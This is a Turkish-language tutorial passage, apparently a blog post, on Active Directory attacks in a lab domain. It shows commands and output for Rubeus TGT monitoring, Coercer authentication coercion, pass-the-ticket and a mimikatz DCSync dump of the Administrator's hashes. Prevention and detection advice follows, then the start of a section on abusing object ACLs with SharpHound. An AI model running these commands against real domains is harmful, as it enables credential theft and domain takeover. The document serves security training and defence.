&lt;p&gt;&lt;strong&gt;Adım 2 — Yeni oturumları izlemek için Rubeus'u başlatma:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yeni oturumları izlemek ve TGT'leri çıkarmak için bir &lt;strong&gt;yönetici komut isteminde&lt;/strong&gt; Rubeus'u başlatacağız:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;monitor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/interval:1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   ______           _
  (_____ \         | |
   _____) )_      _| |__    _____ _     _   ___
  |     __     /| | | |     _ \| ___ | | | |/___)
  | |        \ \| |_| | |_) ) ____| |_| |___ |
  |_|         |_|____/|____/|_____)____/(___/

  v2.0.1

[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Adım 3 — WS001'in IP adresini öğrenme ve Coercer'ı çalıştırma:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sırada, &lt;code&gt;ipconfig&lt;/code&gt; çalıştırarak elde edebileceğimiz &lt;strong&gt;WS001'in IP adresini&lt;/strong&gt; bilmemiz gerekiyor. Bilindiğinde, &lt;strong&gt;Kali makinesine geçip DC1'e doğru Coercer'ı çalıştıracağız&lt;/strong&gt;, ve coercing başarılı olursa &lt;strong&gt;WS001'e bağlanmaya zorlayacağız:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Coercer -u infa -p MWP123 -d krysthal.local -l ws001.krysthal.local -t dc1.krysthal.local
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Adım 4 — WS001'de yakalanan TGT'yi görme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Şimdi, &lt;strong&gt;WS001'e geçip&lt;/strong&gt; Rubeus'un sağladığı sürekli çıktıya baktığımızda, &lt;strong&gt;DC1 için bir TGT&lt;/strong&gt; mevcut olmalıdır:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffjvtj9htya3y292ed9w6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffjvtj9htya3y292ed9w6.png" alt=" " width="800" height="468"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bu TGT'yi domain içinde kimlik doğrulama için kullanabiliriz, Domain Controller haline gelerek.&lt;/strong&gt; Buradan itibaren, &lt;strong&gt;DCSync bariz bir saldırıdır&lt;/strong&gt; (diğerlerinin yanı sıra).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adım 5 — Yakalanan TGT'yi Rubeus ile kullanma:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yukarıda bahsedilen TGT'yi kullanmanın bir yolu &lt;strong&gt;Rubeus&lt;/strong&gt; üzerinden, aşağıdaki gibidir:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ptt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/ticket:doIFdDCCBXCgAwIBBa...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   ______           _
  (_____ \         | |
   _____) )_      _| |__    _____ _     _   ___
  |     __     /| | | |     _ \| ___ | | | |/___)
  | |        \ \| |_| | |_) ) ____| |_| |___ |
  |_|         |_|____/|____/|_____)____/(___/

  v2.0.1

[*] Action: Import Ticket
[+] Ticket successfully imported!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;klist&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LogonId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0:0x101394&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Cached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Tickets:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;#0&amp;gt;         Client: DC1$ @ KRYSTHAL.LOCAL&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Server:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;krbtgt/KRYSTHAL.LOCAL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;KRYSTHAL.LOCAL&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;KerbTicket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Encryption&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Type:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AES-256-CTS-HMAC-SHA1-96&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0x60a10000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;forwardable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;forwarded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;renewable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pre_authent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name_canonicalize&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Time:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;7/09/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;8:54:04&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="kr"&gt;End&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Time:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;7/09/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;18:54:04&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Renew&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Time:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;7/09/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;8:54:04&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Type:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AES-256-CTS-HMAC-SHA1-96&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Flags:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0x1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PRIMARY&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Kdc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Called:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Adım 6 — DCSync saldırısını gerçekleştirme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Ardından, DCSync bölümünde yaptığımızı &lt;strong&gt;esasen tekrarlayarak&lt;/strong&gt;, mimikatz üzerinden bir DCSync saldırısı gerçekleştirilebilir.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads\mimikatz_trunk\x64&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\mimikatz.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"lsadump::dcsync /domain:krysthal.local /user:Administrator"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
mimikatz(commandline) # lsadump::dcsync /domain:krysthal.local /user:Administrator

[DC] 'krysthal.local' will be the domain
[DC] 'DC1.krysthal.local' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN              : Administrator

** SAM ACCOUNT **

SAM Username            : Administrator
Account Type            : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration      : 01/01/1601 02.00.00
Password last change : 07/08/2026 21.24.13
Object Security ID      : S-1-5-21-1518138621-4282902758-752445584-500
Object Relative ID      : 500

Credentials:
  Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 6fd69313922373216cdbbfa823bd268d

* Primary:Kerberos-Newer-Keys *
    Default Salt : WIN-FM93RI8QOKQAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac           (4096) : 1c4197df604e4da0ac46164b30e431405d23128fb37514595555cca76583cfd3
      aes128_hmac           (4096) : 4667ae9266d48c01956ab9c869e4370f
      des_cbc_md5           (4096) : d9b53b1f6d7c45a8

* Packages *
      NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WIN-FM93RI8QOKQAdministrator
    Credentials
      des_cbc_md5           : d9b53b1f6d7c45a8

mimikatz # exit
Bye!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;Windows, &lt;strong&gt;hangi RPC çağrılarının kullanıldığını keşfetmeye ve belirli fonksiyonları engellemeye izin veren granüler görünürlük ve kontrol sunmaz.&lt;/strong&gt; Bu nedenle, bu saldırıyı önlemek için &lt;strong&gt;kutudan çıktığı gibi (out-of-the-box)&lt;/strong&gt; bir çözüm &lt;strong&gt;şu anda mevcut değildir.&lt;/strong&gt; Ancak, coercing saldırılarını önlemek için &lt;strong&gt;iki farklı genel yaklaşım&lt;/strong&gt; vardır:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1) Zero Networks'ten olanı gibi üçüncü parti bir RPC güvenlik duvarı (firewall) uygulamak&lt;/strong&gt; ve bunu tehlikeli RPC fonksiyonlarını engellemek için kullanmak. Bu araç ayrıca bir &lt;strong&gt;audit modu&lt;/strong&gt; ile birlikte gelir, bu da onu kullanmanın veya kullanmamanın iş kesintilerine (business disruption) yol açıp açmayacağını izlemeye ve görünürlük kazanmaya olanak tanır. Dahası, coercing ile ilişkili tehlikeli &lt;strong&gt;OPNUM&lt;/strong&gt; istekte mevcutsa RPC fonksiyonlarını engelleme işlevselliğini sağlayarak bir adım öteye gider. (Bu seçenekte, gelecekte yeni keşfedilen her RPC fonksiyonu için, onu dahil etmek üzere güvenlik duvarının yapılandırma dosyasını değiştirmemiz gerekeceğini unutmayın.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Domain Controller'ları ve diğer temel altyapı sunucularını, AD için gerekli olan (ve iş operasyonları için gerekli olan) makineler dışında, giden (outbound) 139 ve 445 portlarına bağlanmaktan engellemek.&lt;/strong&gt; Bir örnek şudur: 139 ve 445 portlarına genel giden trafiği engellerken, hâlâ &lt;strong&gt;Domain Controller'lar arası (cross Domain Controllers)&lt;/strong&gt; için buna izin vermeliyiz; aksi takdirde domain replikasyonu başarısız olur. (Bu çözümün avantajı, &lt;strong&gt;yeni keşfedilen savunmasız RPC fonksiyonlarına veya diğer coercing yöntemlerine karşı da işe yarayacak olmasıdır.&lt;/strong&gt;)&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;Bahsedildiği gibi, Windows RPC aktivitesini izlemek için &lt;strong&gt;kutudan çıktığı gibi bir çözüm sağlamaz.&lt;/strong&gt; Zero Networks'ten olan RPC Firewall, bu fonksiyonların kötüye kullanımını tespit etmek için &lt;strong&gt;mükemmel bir yöntemdir&lt;/strong&gt; ve ele geçirilmenin &lt;strong&gt;anlık belirtilerini&lt;/strong&gt; gösterebilir; ancak, Domain Controller'lara üçüncü parti yazılım kurmama konusundaki genel tavsiyeleri takip edersek, &lt;strong&gt;güvenlik duvarı günlükleri (firewall logs) en iyi şansımızdır.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Coercer ile başarılı bir coercing saldırısı&lt;/strong&gt;, aşağıdaki host güvenlik duvarı günlüğüyle sonuçlanacaktır; burada &lt;strong&gt;.128'deki makine saldırgan makinesi&lt;/strong&gt;, &lt;strong&gt;.200 ise Domain Controller'dır:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnlsondh8udmyptxt4g5m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnlsondh8udmyptxt4g5m.png" alt=" " width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Portun 445'e giden çok sayıda gelen bağlantı&lt;/strong&gt; görebiliriz, ardından &lt;strong&gt;DC'den saldırgan makinesine giden bağlantılar&lt;/strong&gt; izler; bu işlem, Coercer birkaç farklı fonksiyondan geçtikçe birkaç kez tekrarlanır. &lt;strong&gt;Tüm giden trafik 445 portuna yöneliktir.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Eğer ileri gidip &lt;strong&gt;445 portuna giden trafiği engellersek&lt;/strong&gt;, aşağıdaki davranışı gözlemleyeceğiz:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd246ks7y0mrkr0ak6q1x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd246ks7y0mrkr0ak6q1x.png" alt=" " width="800" height="117"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Şimdi görebiliriz ki, &lt;strong&gt;gelen bağlantı başarılı olsa bile, güvenlik duvarı giden bağlantıyı düşürür (drop)&lt;/strong&gt;, ve sonuç olarak, &lt;strong&gt;saldırgan hiçbir coerced TGT almaz.&lt;/strong&gt; Bazen, 445 portu engellendiğinde, makine bunun yerine &lt;strong&gt;139 portuna bağlanmaya çalışacaktır&lt;/strong&gt;, bu yüzden &lt;strong&gt;hem 139 hem de 445 portlarının engellenmesi önerilir.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Yukarıdakiler tespit için de kullanılabilir&lt;/strong&gt;, çünkü &lt;strong&gt;139 veya 445 portlarına yönelik herhangi bir beklenmeyen düşürülmüş (dropped) trafik şüphelidir.&lt;/strong&gt;&lt;/p&gt;




&lt;h4&gt;
  
  
  Honeypot
&lt;/h4&gt;

&lt;p&gt;Bu bölümde &lt;strong&gt;Honeypot alt başlığı bulunmuyor.&lt;/strong&gt; Bölüm Detection ile bitiyor ve doğrudan bir sonraki bölüme (&lt;strong&gt;Object ACLs&lt;/strong&gt;) geçiyor.&lt;/p&gt;

&lt;h3&gt;
  
  
  BÖLÜM 14: OBJECT ACLs
&lt;/h3&gt;




&lt;h4&gt;
  
  
  Açıklama (Description)
&lt;/h4&gt;

&lt;p&gt;Active Directory'de &lt;strong&gt;Access Control Lists (ACLs)&lt;/strong&gt;, belirli bir nesneye erişimi olan yetkilileri (trustee) ve bunların erişim türünü tanımlayan tablolar veya basit listelerdir. Bir &lt;strong&gt;yetkili (trustee)&lt;/strong&gt;, bir kullanıcı hesabı, grup veya oturum açma oturumu gibi herhangi bir &lt;strong&gt;güvenlik asıl (security principal)&lt;/strong&gt; olabilir. Her erişim kontrol listesi bir dizi &lt;strong&gt;erişim kontrol girişine (ACE)&lt;/strong&gt; sahiptir ve her ACE, yetkiliyi ve yetkilinin sahip olduğu erişim türünü tanımlar. Bu nedenle, çeşitli ACE'ler olabileceğinden bir nesneye &lt;strong&gt;birden fazla yetkili&lt;/strong&gt; tarafından erişilebilir. Erişim kontrol listeleri ayrıca, güvenli bir nesneye yapılan erişim girişimlerinin sayısını ve erişim türünü kaydetmek gibi &lt;strong&gt;denetim (auditing) amaçları&lt;/strong&gt; için de kullanılır. &lt;strong&gt;Güvenli bir nesne (securable object)&lt;/strong&gt;, Active Directory'de bir &lt;strong&gt;güvenlik tanımlayıcısı (security descriptor)&lt;/strong&gt; içeren, adlandırılmış herhangi bir nesnedir; bu tanımlayıcı, ACL'leri içeren nesne hakkındaki güvenlik bilgilerine sahiptir.&lt;/p&gt;

&lt;p&gt;Bir Erişim Kontrol Girişi'ne örnek olarak, &lt;strong&gt;varsayılan olarak AD, Domain Admins'e her nesnenin parolasını değiştirme hakkını verir.&lt;/strong&gt; Ancak, haklar belirli kullanıcılara veya gruplara da &lt;strong&gt;devredilebilir (delegate)&lt;/strong&gt;; bunlar, diğer nesneler üzerinde belirli bir eylemi gerçekleştirebilir — bu, parola sıfırlamaları, grup üyeliği değişikliği veya nesnelerin silinmesi olabilir. Büyük organizasyonlarda, ayrıcalıksız kullanıcıların &lt;strong&gt;devredilmiş haklarla sonuçlanmasını önlemek pratik olarak imkansızsa&lt;/strong&gt;, insan hatasını ortadan kaldırmalı ve iyi tanımlanmış süreç dokümantasyonuna sahip olmalıdırlar. Örneğin, bir çalışanın (kazara/kasıtlı olarak) departmanını IT'den Security Operations'a değiştirdiğini varsayalım. Bu durumda, organizasyonun sistemlere ve uygulamalara olan &lt;strong&gt;tüm hakları ve erişimi iptal etmek için bir süreci olmalıdır.&lt;/strong&gt; Gerçek hayattaki AD ortamlarında, sıklıkla şu gibi durumlarla karşılaşacağız:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tüm Domain kullanıcıları, tüm Sunuculara Administrators olarak eklenmiş&lt;/li&gt;
&lt;li&gt;Herkes tüm nesneleri değiştirebilir (üzerlerinde tam haklara sahip olarak)&lt;/li&gt;
&lt;li&gt;Tüm Domain kullanıcıları, LAPS parolalarını içeren bilgisayarın genişletilmiş özelliklerine erişebilir&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Saldırı (Attack)
&lt;/h4&gt;

&lt;p&gt;Potansiyel istismar edilebilir ACL'leri belirlemek için, &lt;strong&gt;nesneler arasındaki ilişkileri grafikleştirmek üzere BloodHound'u&lt;/strong&gt; ve ortamı taramak ve &lt;code&gt;-c&lt;/code&gt; parametresine (&lt;code&gt;CollectionMethod&lt;/code&gt;'un kısa versiyonu) &lt;strong&gt;&lt;code&gt;All&lt;/code&gt;&lt;/strong&gt; geçirmek üzere &lt;strong&gt;SharpHound'u&lt;/strong&gt; kullanacağız:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\SharpHound.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;All&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F87zy3sao6y4888q3zovr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F87zy3sao6y4888q3zovr.png" alt=" " width="800" height="259"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SharpHound tarafından üretilen ZIP dosyası&lt;/strong&gt; daha sonra &lt;strong&gt;BloodHound'da görselleştirilebilir.&lt;/strong&gt; Ortamdaki her yanlış yapılandırılmış ACL'yi aramak yerine, &lt;strong&gt;kullanıcı infaa'dan&lt;/strong&gt; (zaten ele geçirdiğimiz ve tam kontrolüne sahip olduğumuz ilk kullanıcımız) kaynaklanan potansiyel yetki yükseltme yollarına odaklanacağız. Bu nedenle, aşağıdaki görsel, infa'un ortama sahip olduğu farklı erişimleri göstermektedir:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frh96dczd2h4wtbkqvnmp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frh96dczd2h4wtbkqvnmp.png" alt=" " width="799" height="441"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;infa, kullanıcı mdr ve bilgisayar Server01 üzerinde tam haklara sahiptir.&lt;/strong&gt; Aşağıda, infa'un bunların her biriyle neler yapabileceği açıklanmaktadır:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Durum 1: Kullanıcı mdr üzerinde tam haklar.&lt;/strong&gt; Bu durumda, İnfa nesne mdr'ı bazı &lt;strong&gt;bonus SPN değeri&lt;/strong&gt; belirleyerek değiştirebilir ve ardından ona karşı &lt;strong&gt;Kerberoast saldırısı&lt;/strong&gt; gerçekleştirebilir (hatırlarsanız, bu saldırının başarısı parolanın gücüne bağlıdır). Ancak, İnfa ayrıca &lt;strong&gt;kullanıcı mdr'nin parolasını da değiştirebilir&lt;/strong&gt; ve ardından bu hesap olarak giriş yapabilir, dolayısıyla mdr'ın yapabileceği &lt;strong&gt;her şeyi doğrudan devralarak&lt;/strong&gt; gerçekleştirebilir hale gelir (mdr bir Domain admin ise, infa da aynı haklara sahip olur).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Durum 2: Bir bilgisayar nesnesi üzerinde tam kontrol de verimli olabilir.&lt;/strong&gt; Ortamda &lt;strong&gt;LAPS kullanılıyorsa&lt;/strong&gt;, infa özniteliklerde saklanan parolayı elde edebilir ve bu sunucuya &lt;strong&gt;yerel Administrator hesabı&lt;/strong&gt; olarak kimlik doğrulayabilir. Başka bir yetki yükseltme yolu ise &lt;strong&gt;Resource-Based Kerberos Delegation'ı kötüye kullanmaktır&lt;/strong&gt;, bu da infa'un bu sunucuya &lt;strong&gt;herhangi biri olarak&lt;/strong&gt; kimlik doğrulamasına izin verir. Önceki saldırıdan hatırlayın, &lt;strong&gt;Server01, Unconstrained delegation için güvenilirdir&lt;/strong&gt;, bu yüzden infa bu sunucuda yönetici hakları elde ederse, bir &lt;strong&gt;Domain Controller'ın veya başka bir hassas bilgisayar nesnesinin kimliğini ele geçirmek için potansiyel bir yetki yükseltme 